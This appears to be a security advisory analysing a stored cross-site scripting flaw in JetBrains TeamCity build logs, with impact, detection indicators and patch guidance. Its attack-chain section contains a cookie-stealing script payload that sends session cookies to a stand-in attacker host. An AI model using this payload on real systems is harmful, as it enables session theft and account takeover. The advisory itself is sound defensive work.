CVE-2026-111096: 
JetBrains TeamCity vulnerability analysis and mitigation

CVE-2026-111096 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity's classic build log view. It affects TeamCity versions before 2026.2, 2026.1.4, and 2025.11.8, allowing authenticated users with low privileges to inject malicious scripts into build logs that execute in the browsers of other users viewing those logs. The vulnerability was published on October 15, 2026, and patches were made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) per NVD, and 6.7 (Medium) per JetBrains/EUVD scoring (GitHub Advisory, JetBrains).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. The root cause is insufficient sanitization of user-controlled input written into the classic build log, which is subsequently rendered in other users' browsers without proper escaping. An attacker with low-level authenticated access to a TeamCity instance can inject a malicious script payload into a build log entry; when another user (potentially with higher privileges) views the log, the script executes in their browser context. No public proof-of-concept code has been identified (GitHub Advisory, JetBrains).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any TeamCity user who views the compromised build log, including administrators. This can result in session cookie theft, authentication token forgery, unauthorized actions performed on behalf of the victim, and redirection to malicious sites. While availability is not directly impacted, the confidentiality and integrity risks are significant, particularly if a privileged user's session is hijacked, potentially enabling further lateral movement within the CI/CD environment (GitHub Advisory).

There is no evidence of active in-the-wild exploitation or publicly available proof-of-concept code as of the time of disclosure. The NVD SSVC assessment confirms exploitation status as "none" and the attack is not automatable, as it requires user interaction (a victim must view the malicious build log). The EPSS score is approximately 0.204%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, JetBrains).

1. Reconnaissance: Identify a vulnerable JetBrains TeamCity instance (versions before 2026.2, 2026.1.4, or 2025.11.8) and obtain low-privilege authenticated access (e.g., a developer account with build permissions).
2. Payload crafting: Prepare a stored XSS payload designed to steal session cookies or perform actions on behalf of the victim, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Inject into build log: Trigger a build or manipulate build output (e.g., via a build script or step that writes attacker-controlled content to the classic build log) so that the malicious script is stored in the log.
4. Wait for victim interaction: Wait for a higher-privileged user (e.g., a TeamCity administrator) to view the affected build log in the classic log view, which triggers execution of the injected script in their browser.
5. Achieve objective: The script executes in the victim's browser context, potentially exfiltrating session tokens, performing authenticated API calls on behalf of the victim, or redirecting the victim to a phishing page (GitHub Advisory).

• Logs: TeamCity server logs showing unusual build log entries containing HTML tags or JavaScript syntax (e.g., <script>, onerror=, javascript:) in build output fields; access logs showing requests to the classic build log view from multiple user accounts shortly after a specific build run.
• Network: Outbound HTTP requests from TeamCity users' browsers to unexpected external domains immediately after viewing a build log; unusual POST requests to TeamCity API endpoints originating from authenticated sessions that do not match normal user behavior patterns.
• File System: Unexpected modifications to build scripts or configuration files that could inject content into build log output.
• Process: Build steps executing commands that write script-like strings to standard output or log files, particularly those containing HTML/JavaScript constructs.

JetBrains has released patched versions addressing this vulnerability: TeamCity 2026.2, 2026.1.4, and 2025.11.8. Administrators should upgrade to one of these versions immediately. As interim mitigations, implementing strict Content Security Policy (CSP) headers can reduce the impact of XSS exploitation, and restricting build log access to only authorized and necessary users limits the attack surface. Monitoring build logs for suspicious script injection patterns is also recommended (JetBrains, GitHub Advisory).